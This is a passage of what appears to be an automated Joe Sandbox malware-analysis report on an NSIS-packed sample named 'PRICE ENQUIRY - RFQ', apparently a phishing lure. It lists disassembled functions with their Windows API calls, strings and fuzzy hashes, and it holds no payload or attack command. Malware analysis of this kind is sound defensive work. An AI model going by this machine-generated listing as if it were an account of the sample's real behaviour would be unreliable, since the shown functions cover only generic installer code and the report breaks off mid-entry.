API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: 39a4ac77881b5eb5dcd31ca450c1c753a4ca1d38c3ea398be78b80407868f71b
Instruction ID: b79195ecc2de65d8d99f91511e5e2c7060301b719c54f9eae921112220d3ef15
Opcode Fuzzy Hash: 39a4ac77881b5eb5dcd31ca450c1c753a4ca1d38c3ea398be78b80407868f71b
Instruction Fuzzy Hash: 2C41CF30901A14F6DB216B618C89EAF7678EF45724F60457BF804721D1D77C89C1EE6E

Function 004063CC Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5652d2671bdba289ad27ff2dbd2e251a3084f56fb371cc4bb45df86323f9214
Instruction ID: 3bb9d82cab8560ee02f1719a45e7f61305cf8b7accb1ce145186acec9c03a25a
Opcode Fuzzy Hash: b5652d2671bdba289ad27ff2dbd2e251a3084f56fb371cc4bb45df86323f9214
Instruction Fuzzy Hash: B6F17870D04229CBDF28CFA8C8946ADBBB1FF44305F25816ED856BB281D7785A96CF44

Function 004060BA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00436800,004256E8,00424EA0,00405913,00424EA0,00424EA0,00000000,00424EA0,00424EA0,00436800,?,75923420,0040561F,?,00436800,75923420), ref: 004060C5
FindClose.KERNEL32(00000000), ref: 004060D1

Strings

VB, xrefs: 004060BB

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: VB
API String ID: 2295610775-2416070386
Opcode ID: 0d7890576d52439fda81d3ff5c831c2ea13596096c8ebb05fd3cc094a7cb3954
Instruction ID: f9ddfc5d4f3467e36225d2e4908305aa5d63d15eb4a774a72597514f161c5606
Opcode Fuzzy Hash: 0d7890576d52439fda81d3ff5c831c2ea13596096c8ebb05fd3cc094a7cb3954
Instruction Fuzzy Hash: 95D012719890309BC2105B386D0C84B7A589F153317528F73F42AF23E0C7388C6596AD

Function 00405160 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004051BF
GetDlgItem.USER32(?,000003EE), ref: 004051CE
GetClientRect.USER32(?,?), ref: 0040520B
GetSystemMetrics.USER32(00000015), ref: 00405213
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 00405234
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405245
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405258
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405266
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405279
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040529B
ShowWindow.USER32(?,?), ref: 004052AF
GetDlgItem.USER32(?,000003EC), ref: 004052D0
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004052E0
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052F9
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405305
GetDlgItem.USER32(?,000003F8), ref: 004051DD

Part of subcall function 00403FF1: SendMessageW.USER32(?,?,00000001,00403E1D), ref: 00403FFF

GetDlgItem.USER32(?,000003EC), ref: 00405322
CreateThread.KERNEL32(00000000,00000000,Function_000050F4,00000000), ref: 00405330
CloseHandle.KERNEL32(00000000), ref: 00405337
ShowWindow.USER32(00000000), ref: 0040535B
ShowWindow.USER32(?,?), ref: 00405360
ShowWindow.USER32(?), ref: 004053AA
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053DE
CreatePopupMenu.USER32 ref: 004053EF
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405403
GetWindowRect.USER32(?,?), ref: 00405423
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040543C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405474
OpenClipboard.USER32(00000000), ref: 00405484
EmptyClipboard.USER32 ref: 0040548A
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405496
GlobalLock.KERNEL32(00000000), ref: 004054A0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004054B4
GlobalUnlock.KERNEL32(00000000), ref: 004054D4
SetClipboardData.USER32(0000000D,00000000), ref: 004054DF
CloseClipboard.USER32 ref: 004054E5

Strings

{, xrefs: 004053C8

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 45a22419854ef496da6d8936d9b7bf7694c075be71a1eb13d6de5557fdea4b02
Instruction ID: 0991f248181b02e880a99382a637b1aa596eb82eb2a2f586ae382473c4d6dcb0
Opcode Fuzzy Hash: 45a22419854ef496da6d8936d9b7bf7694c075be71a1eb13d6de5557fdea4b02
Instruction Fuzzy Hash: 9CB15970900209FFEB219F60DD89AAE7B79FB04355F00807AFA01BA1A0C7755E52DF69

Function 00403AE4 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403B20
ShowWindow.USER32(?), ref: 00403B3D
DestroyWindow.USER32 ref: 00403B51
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403B6D
GetDlgItem.USER32(?,?), ref: 00403B8E
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403BA2
IsWindowEnabled.USER32(00000000), ref: 00403BA9
GetDlgItem.USER32(?,00000001), ref: 00403C57
GetDlgItem.USER32(?,00000002), ref: 00403C61
SetClassLongW.USER32(?,000000F2,?), ref: 00403C7B
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403CCC
GetDlgItem.USER32(?,00000003), ref: 00403D72
ShowWindow.USER32(00000000,?), ref: 00403D93
EnableWindow.USER32(?,?), ref: 00403DA5
EnableWindow.USER32(?,?), ref: 00403DC0
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403DD6
EnableMenuItem.USER32(00000000), ref: 00403DDD
SendMessageW.USER32(?,?,00000000,00000001), ref: 00403DF5
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403E08
lstrlenW.KERNEL32(00422698,?,00422698,004281A0), ref: 00403E31
SetWindowTextW.USER32(?,00422698), ref: 00403E45
ShowWindow.USER32(?,0000000A), ref: 00403F79

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: b883d8f4190a66d351c5eadddd01b1b9d646dcf61297c4c4bd8721fadccfd406
Instruction ID: d7c36ab4ba1e77d3c514d2e075e7bf05f8385f4f0eed445bed2eaaef7d4a98f3
Opcode Fuzzy Hash: b883d8f4190a66d351c5eadddd01b1b9d646dcf61297c4c4bd8721fadccfd406
Instruction Fuzzy Hash: 71C1AE71A04205ABEB216F61ED45D3B7A7CFB49306F40053EF501B11E1CB79A952DB2E

Function 00403741 Relevance: 44.0, APIs: 15, Strings: 10, Instructions: 216stringregistrylibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 004060E1: GetModuleHandleA.KERNEL32(?,?,?,00403242,?), ref: 004060F3
Part of subcall function 004060E1: LoadLibraryA.KERNEL32(?,?,?,00403242,?), ref: 004060FE
Part of subcall function 004060E1: GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

lstrcatW.KERNEL32(00436000,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000,00000006,00436800,75923420,00000000,00434000), ref: 004037C2
lstrlenW.KERNEL32(00427140,?,?,?,00427140,00000000,00434800,00436000,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000,00000006,00436800), ref: 00403842
lstrcmpiW.KERNEL32(00427138,.exe,00427140,?,?,?,00427140,00000000,00434800,00436000,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000), ref: 00403855
GetFileAttributesW.KERNEL32(00427140), ref: 00403860
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00434800), ref: 004038A9

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

RegisterClassW.USER32(00428140), ref: 004038E6
SystemParametersInfoW.USER32(?,00000000,?,00000000), ref: 004038FE
CreateWindowExW.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403933
ShowWindow.USER32(00000005,00000000), ref: 00403969
LoadLibraryW.KERNEL32(RichEd20), ref: 0040397A
LoadLibraryW.KERNEL32(RichEd32), ref: 00403985
GetClassInfoW.USER32(00000000,RichEdit20W,00428140), ref: 00403995
GetClassInfoW.USER32(00000000,RichEdit,00428140), ref: 004039A2
RegisterClassW.USER32(00428140), ref: 004039AB
DialogBoxParamW.USER32(?,00000000,00403AE4,00000000), ref: 004039CA

Strings

RichEdit20W, xrefs: 0040398D, 00403993
RichEd32, xrefs: 00403980
_Nb, xrefs: 004038C5, 0040392D
RichEdit, xrefs: 0040399C
RichEd20, xrefs: 00403975
.exe, xrefs: 0040384F
Control Panel\Desktop\ResourceLocale, xrefs: 00403775
BqB, xrefs: 00403831
.DEFAULT\Control Panel\International, xrefs: 004037AD
@qB, xrefs: 00403809

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@qB$BqB$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-3515803648
Opcode ID: f555b8f8d7a629cb31c752cf441c6d14d2dfedfb2abaaf91fc7246ea5f6fb938
Instruction ID: afa308160dea80a5d8dcbd85ebd8b3f8f2b3ac55536d549029ec0fdf087277f4
Opcode Fuzzy Hash: f555b8f8d7a629cb31c752cf441c6d14d2dfedfb2abaaf91fc7246ea5f6fb938
Instruction Fuzzy Hash: 5D61C471644300BAE720AF269C4AF3B3A6CEB45745F80447FF940B62E1DB799D12CA2D

Function 00404159 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004041F7
GetDlgItem.USER32(?,000003E8), ref: 0040420B
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404228
GetSysColor.USER32(?), ref: 00404239
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404247
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404255
lstrlenW.KERNEL32(?), ref: 0040425A
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404267
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040427C
GetDlgItem.USER32(?,0000040A), ref: 004042D5
SendMessageW.USER32(00000000), ref: 004042DC
GetDlgItem.USER32(?,000003E8), ref: 00404307
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040434A
LoadCursorW.USER32(00000000,00007F02), ref: 00404358
SetCursor.USER32(00000000), ref: 0040435B
ShellExecuteW.SHELL32(0000070B,open,@qB,00000000,00000000,00000001), ref: 00404370
LoadCursorW.USER32(00000000,00007F00), ref: 0040437C
SetCursor.USER32(00000000), ref: 0040437F
SendMessageW.USER32(00000111,00000001,00000000), ref: 004043AE
SendMessageW.USER32(?,00000000,00000000), ref: 004043C0

Strings

N, xrefs: 004042F5
@qB, xrefs: 00404365
open, xrefs: 00404368

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: @qB$N$open
API String ID: 3615053054-1317396031
Opcode ID: 9f8ac8ff2f5d328cc3453d20dad54c1a32f190e354825bf3c7395e5a162293c3
Instruction ID: bf3a58da35b54ffee1731227a2abeb8335aa36a287bc534981c9d3d9286f6950
Opcode Fuzzy Hash: 9f8ac8ff2f5d328cc3453d20dad54c1a32f190e354825bf3c7395e5a162293c3
Instruction Fuzzy Hash: F4718FB1A00209BFDB109F61DD85E6A7B79FB44354F00803AFA01B62D0D778AD61CFA9

Function 00405A95 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D38,NUL,?,00000000,?,?,?,00405C39,?,?,00000001,004057B1,?,00000000,000000F1,?), ref: 00405AA5
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405C39,?,?,00000001,004057B1,?,00000000,000000F1,?), ref: 00405AC9
GetShortPathNameW.KERNEL32(00000000,00425D38,00000400), ref: 00405AD2

Part of subcall function 00405948: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405958
Part of subcall function 00405948: lstrlenA.KERNEL32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 0040598A

GetShortPathNameW.KERNEL32(?,00426538,00000400), ref: 00405AEF
wsprintfA.USER32 ref: 00405B0D
GetFileSize.KERNEL32(00000000,00000000,00426538,C0000000,?,00426538,?,?,?,?,?), ref: 00405B48
GlobalAlloc.KERNEL32(?,0000000A), ref: 00405B57
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405B8F
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425938,00000000,-0000000A,00409514,00000000,[Rename],00000000,00000000,00000000), ref: 00405BE5
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405BF7
GlobalFree.KERNEL32(00000000), ref: 00405BFE
CloseHandle.KERNEL32(00000000), ref: 00405C05

Part of subcall function 004059E3: GetFileAttributesW.KERNEL32(00000003,00402DA9,00437800,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
Part of subcall function 004059E3: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

Strings

[Rename], xrefs: 00405B77, 00405B89
8eB, xrefs: 00405AE4
%ls=%ls, xrefs: 00405B03
NUL, xrefs: 00405A9F
8]B, xrefs: 00405A9A

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$8]B$8eB$NUL$[Rename]
API String ID: 1265525490-2949686642
Opcode ID: fe6212124c20aa7a949ef4aa6da6deeb019712e351ad6de50c3d19834e785aa9
Instruction ID: 0a051ccaee0c074b1a09a4e80aa922ec39551e5d9eafb60cec8afc598b306fa0
Opcode Fuzzy Hash: fe6212124c20aa7a949ef4aa6da6deeb019712e351ad6de50c3d19834e785aa9
Instruction Fuzzy Hash: BC412671605B14BBE2206B215C49F6B7A6CDF45728F14003AF901F62D2D67CBD018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281A0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 95dead6a558a01d4a5ec967a392ba08a15c3c6741a46ee5c6d7a895f4c731ce1
Instruction ID: 4121dad2538bec1171c888a02065f78bbc92972143ed5d2ae8151d97d00695b6
Opcode Fuzzy Hash: 95dead6a558a01d4a5ec967a392ba08a15c3c6741a46ee5c6d7a895f4c731ce1
Instruction Fuzzy Hash: 68418A71804249AFDB058FA5DD459BFBBB9FF48310F00812AF951AA1A0C738EA51DFA5

Function 00404457 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004044A6
SetWindowTextW.USER32(00000000,?), ref: 004044D0
SHBrowseForFolderW.SHELL32(?), ref: 00404581
CoTaskMemFree.OLE32(00000000), ref: 0040458C
lstrcmpiW.KERNEL32(00427140,00422698,00000000,?,?), ref: 004045BE
lstrcatW.KERNEL32(?,00427140), ref: 004045CA
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004045DC

Part of subcall function 00405537: GetDlgItemTextW.USER32(?,?,00000400,00404613), ref: 0040554A

Part of subcall function 0040600B: CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,004031D7,00436800,75923420,004033B7), ref: 0040606E
Part of subcall function 0040600B: CharNextW.USER32(?,?,?,00000000), ref: 0040607D
Part of subcall function 0040600B: CharNextW.USER32(?,00434000,00436800,00436800,00000000,004031D7,00436800,75923420,004033B7), ref: 00406082
Part of subcall function 0040600B: CharPrevW.USER32(?,?,00436800,00436800,00000000,004031D7,00436800,75923420,004033B7), ref: 00406095

GetDiskFreeSpaceW.KERNEL32(00420668,?,?,0000040F,?,00420668,00420668,?,00000000,00420668,?,?,000003FB,?), ref: 0040469D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004046B8
SetDlgItemTextW.USER32(00000000,00000400,00420658), ref: 0040473E

Strings

@qB, xrefs: 004045B8
A, xrefs: 0040457A

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: @qB$A
API String ID: 2246997448-3464470947
Opcode ID: 668281cbb1a1bca9fe2ab6cdbcec13e7c0f733c30b05f3f358561a85ed904407
Instruction ID: 0c6fa40730a198f5f3b00d197b033e886b1b3680f215deb67d5ef6a97ab5c625
Opcode Fuzzy Hash: 668281cbb1a1bca9fe2ab6cdbcec13e7c0f733c30b05f3f358561a85ed904407
Instruction Fuzzy Hash: A79163B1900205BBDB11AFA1DC85AAF77B8EF85314F10847BF601B72D1D77C9A418B69

Function 00405D99 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,00421678,?,00405058,00421678,00000000,00000000,?), ref: 00405E5C
GetSystemDirectoryW.KERNEL32(00427140,00000400), ref: 00405EDA
GetWindowsDirectoryW.KERNEL32(00427140,00000400), ref: 00405EED
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00405F29
SHGetPathFromIDListW.SHELL32(?,00427140), ref: 00405F37
CoTaskMemFree.OLE32(?), ref: 00405F42
lstrcatW.KERNEL32(00427140,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F66
lstrlenW.KERNEL32(00427140,00000000,00421678,?,00405058,00421678,00000000,00000000,?), ref: 00405FC0

Strings

@qB, xrefs: 00405FCB
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405F60
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405EA8
@qB, xrefs: 00405DC3

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: @qB$@qB$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-3979664334
Opcode ID: f493f2f44b5aba53667d27dbdef1c5594dcfff21b597d4d1ff9a7805494d454e
Instruction ID: 8be6bcb63ccaebc5f1bc3563bf1d434f80ac3f189a087fad5798c32c49afab67
Opcode Fuzzy Hash: f493f2f44b5aba53667d27dbdef1c5594dcfff21b597d4d1ff9a7805494d454e
Instruction Fuzzy Hash: 3661D271A00906ABEF209F25CC44AAF37A5EF54314F10813BE955BA2D0D73D5A81CF9E

Function 00402D69 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402D7A
GetModuleFileNameW.KERNEL32(00000000,00437800,00000400,?,?,?,00000000,00403425,?), ref: 00402D96

Part of subcall function 004059E3: GetFileAttributesW.KERNEL32(00000003,00402DA9,00437800,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
Part of subcall function 004059E3: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,00435800,00435800,00437800,00437800,80000000,00000003,?,?,?,00000000,00403425,?), ref: 00402DE2

Strings

soft, xrefs: 00402E57
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402F41
Error launching installer, xrefs: 00402DB9
P~A, xrefs: 00402DF7
Inst, xrefs: 00402E4E
Null, xrefs: 00402E60

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$P~A$soft
API String ID: 4283519449-1910535513
Opcode ID: abdf6dc9aec78d787bca56cd4286c0aac7898623f056af6127e98b36157c78ec
Instruction ID: 9a0bc50dc50940ee2abb7c3ced767a556554b68a68c4a60a299fb88064fb1f26
Opcode Fuzzy Hash: abdf6dc9aec78d787bca56cd4286c0aac7898623f056af6127e98b36157c78ec
Instruction Fuzzy Hash: 88512871900205ABDB209F65DE89BAF7BB8EB14358F10403BF904B62D1C7B88D418BAD

Function 00402FA2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403003
GetTickCount.KERNEL32 ref: 00403084
MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 004030B1
wsprintfW.USER32 ref: 004030C4
WriteFile.KERNEL32(00000000,00000000,?,7FFFFFFF,00000000), ref: 004030F3

Strings

... %d%%, xrefs: 004030BE

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

